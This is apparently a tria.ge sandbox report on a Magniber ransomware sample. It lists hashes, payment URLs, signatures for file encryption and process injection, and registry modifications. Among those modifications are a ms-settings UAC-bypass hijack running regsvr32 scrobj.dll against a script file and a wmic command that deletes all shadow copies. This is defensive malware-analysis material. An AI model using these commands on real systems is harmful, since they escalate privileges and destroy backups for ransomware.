Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
124s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
21/11/2021, 18:35
Static task
static1
Behavioral task
behavioral1
Sample
1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Resource
win10-en-20211014
General
-
Target
1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
-
Size
22KB
-
MD5
7906dc475a8ae55ffb5af7fd3ac8f10a
-
SHA1
e7304e2436dc0eddddba229f1ec7145055030151
-
SHA256
1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
-
SHA512
c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1
Malware Config
Extracted
C:\Users\Admin\Desktop\readme.txt
magniber
http://6adcc280d2645a90eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj
http://6adcc280d2645a90eltalkfzj.jobsbig.cam/eltalkfzj
http://6adcc280d2645a90eltalkfzj.boxgas.icu/eltalkfzj
http://6adcc280d2645a90eltalkfzj.sixsees.club/eltalkfzj
http://6adcc280d2645a90eltalkfzj.nowuser.casa/eltalkfzj
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4136 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4124 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4116 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4108 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4304 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4244 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4236 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4188 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4316 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4180 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4172 2500 cmd.exe 99 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4164 2500 cmd.exe 99 -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\SendRevoke.png => C:\Users\Admin\Pictures\SendRevoke.png.eltalkfzj sihost.exe File renamed C:\Users\Admin\Pictures\StartMerge.crw => C:\Users\Admin\Pictures\StartMerge.crw.eltalkfzj sihost.exe File renamed C:\Users\Admin\Pictures\GrantUndo.tif => C:\Users\Admin\Pictures\GrantUndo.tif.eltalkfzj sihost.exe File renamed C:\Users\Admin\Pictures\PublishConvertFrom.png => C:\Users\Admin\Pictures\PublishConvertFrom.png.eltalkfzj sihost.exe File opened for modification C:\Users\Admin\Pictures\RedoUnpublish.tiff sihost.exe File renamed C:\Users\Admin\Pictures\RedoUnpublish.tiff => C:\Users\Admin\Pictures\RedoUnpublish.tiff.eltalkfzj sihost.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation cmd.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4064 set thread context of 2316 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 32 PID 4064 set thread context of 2324 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 31 PID 4064 set thread context of 2452 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 30 PID 4064 set thread context of 2792 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 10 PID 4064 set thread context of 3424 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 20 PID 4064 set thread context of 3696 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 19 -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1792 3696 WerFault.exe 19 -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\RACProvisionStatus-006 = "1" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell sihost.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersio = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000016f5d8038097f774c41d012c034a641cbe8cab2c9760b3b1051173b2f97b5eace5c73c87df3fd3263bc37fdcee756550f1a97eff3929be387b563142f2cbd42f11777a8a37514806912eb3ca15523a05e7b3cdec542b98a5a5f0e14c451d7a47ec231911fc6b1aadd97f0f3cfb7f7933d2caa7b34d0690c7dcff05422f0f921436ede760212f174060d53d18a39e7757da0ed813355a72bd4da444af3042ac32bff3c5f0c73bcd9d53501a5d7d4e5916d19fd1e458c7bfac5ffde11c3b5663157157962adc30721dc70f15e0952e90efab9d70fe43ed5209992ba93a96eb2d8eff3750fb1baf08dcfa340168dee086ffb32802f2ed6b5b6afc4e7e5dcfa1a75156b59933c156059d80de820e370374d28a60be94efe341f26b87aa4880183f93f0efb6b740c796372f2db0c2883644446f66d352cef42a44edf41d4e7cf107af59073181aca0f4946341b44af21b59786958d95df13ef60aa6b692b834ca4ee6c81b5d6eb682583d9539819c4051a5d6775783a0e861bf0d6eee2b891d44f725054d56e2140e027ac337ae7f9e776b221883658c7bfd16db37f8d8e4f28d7b9f9adcb912fa86 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt" sihost.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt" taskhostw.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command taskhostw.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "microsoft.microsoftedge_8wekyb3d8bbwe/001" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 25b0743d06c1d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\ChildCapabilities\121 = 53002d0031002d00310035002d0033002d003100000053002d0031002d00310035002d0033002d003900000053002d0031002d00310035002d0033002d0033003200310035003400330030003800380034002d0031003300330039003800310036003200390032002d00380039003200350037003600310036002d003100310034003500380033003100300031003900000053002d0031002d00310035002d0033002d003700380037003400340038003200350034002d0031003200300037003900370032003800350038002d0033003500350038003600330033003600320032002d003100300035003900380038003600390036003400000053002d0031002d00310035002d0033002d0033003800340035003200370033003400360033002d0031003300330031003400320037003700300032002d0031003100380036003500350031003100390035002d003100310034003800310030003900390037003700000053002d0031002d00310035002d0033002d0031003000320034002d0031003000360035003300360035003900330036002d0031003200380031003600300034003700310036002d0033003500310031003700330038003400320038002d0031003600350034003700320031003600380037002d003400330032003700330034003400370039002d0033003200330032003100330035003800300036002d0034003000350033003200360034003100320032002d003300340035003600390033003400360038003100000053002d0031002d00310035002d0033002d0031003000320034002d0033003600320033003800350035003000340031002d0031003800320036003900390039003900350036002d0033003700340037003000360039003800310038002d0033003500320035003200360030003200320033002d0033003700340037003300370034003500310030002d0031003700340036003200370032003600320034002d003900350030003600300031003100360038002d0035003600350035003600330033003100000053002d0031002d00310035002d0033002d0031003000320034002d0032003400300035003400340033003400380039002d003800370034003000330036003100320032002d0034003200380036003000330035003500350035002d0031003800320033003900320031003500360035002d0031003700340036003500340037003400330031002d0032003400350033003800380035003400340038002d0033003600320035003900350032003900300032002d00390039003100360033003100320035003600000053002d0031002d00310035002d0033002d0031003000320034002d0031003500300032003800320035003100360036002d0031003900360033003700300038003300340035002d0032003600310036003300370037003400360031002d0032003500360032003800390037003000370034002d0034003100390032003000320038003300370032002d0033003900360038003300300031003500370030002d0031003900390037003600320038003600390032002d003100340033003500390035003300360032003200000053002d0031002d00310035002d0033002d0031003000320034002d0033003200300033003300350031003400320039002d0032003100320030003400340033003700380034002d0032003800370032003600370030003700390037002d0031003900310038003900350038003300300032002d0032003800320039003000350035003600340037002d0034003200370035003700390034003500310039002d003700360035003600360034003400310034002d003200370035003100370037003300330033003400000053002d0031002d00310035002d0033002d0031003000320034002d0031003700380038003100320039003300300033002d0032003100380033003200300038003500370037002d0033003900390039003400370034003200370032002d0033003100340037003300350039003900380035002d0031003700350037003300320032003100390033002d0033003800310035003700350036003300380036002d003100350031003500380032003100380030002d003100380038003800310030003100310039003300000053002d0031002d00310035002d0033002d0031003000320034002d0033003100350033003500300039003600310033002d003900360030003600360036003700360037002d0033003700320034003600310031003100330035002d0032003700320035003600360032003600340030002d00310032003100330038003200350033002d003500340033003900310030003200320037002d0031003900350030003400310034003600330035002d003400310039003000320039003000310038003700000053002d0031002d00310035002d0033002d0031003000320034002d003100320036003000370038003500390033002d0033003600350038003600380036003700320038002d0031003900380034003800380033003300300036002d003800320031003300390039003600390036002d0033003600380034003000370039003900360030002d003500360034003000330038003600380030002d0033003400310034003800380030003000390038002d003300340033003500380032003500320030003100000053002d0031002d00310035002d0033002d0031003000320034002d0031003600390032003900370030003100350035002d0034003000350034003800390033003300330035002d003100380035003700310034003000390031002d0033003300360032003600300031003900340033002d0033003500320036003500390033003100380031002d0031003100350039003800310036003900380034002d0032003100390039003000300038003500380031002d00340039003700340039003200390039003100000053002d0031002d00310035002d0033002d0031003000320034002d003200320030003000320032003700370030002d003700300031003200360031003900380034002d0033003900390031003200390032003900350036002d0034003200300038003700350031003000320030002d0032003900310038003200390033003000350038002d0033003300390036003400310039003300330031002d0031003700300030003900330032003300340038002d003200300037003800330036003400380039003100000053002d0031002d00310035002d0033002d0031003000320034002d003500320038003100310038003900360036002d0033003800370036003800370034003300390038002d003700300039003500310033003500370031002d0031003900300037003800370033003000380034002d0033003500390038003200320037003600330034002d0033003600390038003700330030003000360030002d003200370038003000370037003700380038002d003300390039003000360030003000320030003500000053002d0031002d00310035002d0033002d0031003000320034002d0031003800360034003100310031003700350034002d003700370036003200370033003300310037002d0033003600360036003900320035003000320037002d0032003500320033003900300038003000380031002d0033003700390032003400350038003200300036002d0033003500380032003400370032003400330037002d0034003100310034003400310039003900370037002d003100350038003200380038003400380035003700000053002d0031002d00310035002d0033002d0031003000320034002d0034003000340034003800330035003100330039002d0032003600350038003400380032003000340031002d0033003100320037003900370033003100360034002d003300320039003200380037003200330031002d0033003800360035003800380030003800360031002d0031003900330038003600380035003600340033002d003400360031003000360037003600350038002d003100300038003700300030003000340032003200000053002d0031002d00310035002d0033002d0031003000320034002d0032003900320032003200390036003200360031002d0031003600340037003400380032003700360038002d0032003000310037003000390031003100340036002d0033003800350038003600360037003000360038002d0034003100330035003600360033003600360032002d0032003900330031003900380035003800390034002d0031003600320037003800320030003900320035002d00380031003800330036003600340033003100000053002d0031002d00310035002d0033002d003300000053002d0031002d00310035002d0033002d003800000053002d0031002d00310035002d0033002d0031003000320034002d0032003400340030003300300036003300370037002d0033003300300034003600310031003000340039002d0031003400390034003300390039003000370031002d0031003100360031003900320036003200320033002d003100360033003900310032003300380034002d0031003400330037003000360035003700370033002d0031003400350036003800320030003500360030002d00320033003900300031003500380031003900360000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingDelete\C:\Users\Admin\AppData\Local\Packa = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "262144" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0" taskhostw.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000002ab47f5c44aa00f3ecf32d53e79245170a4210ee9890ab4df990575bdfcb89e3336740532fb164572c7f8fcc7b278c03d226ba212472f02b89074047 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\LastClosedWidth = "800" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000bcea9f358eced4990e2f332581e950b64426bd17022cd869bbe657b2915296f6043b1202b5fda8829041b554acb71edf46788fc5fbdadec1f127 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 50b009b106dfd701 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1836 notepad.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
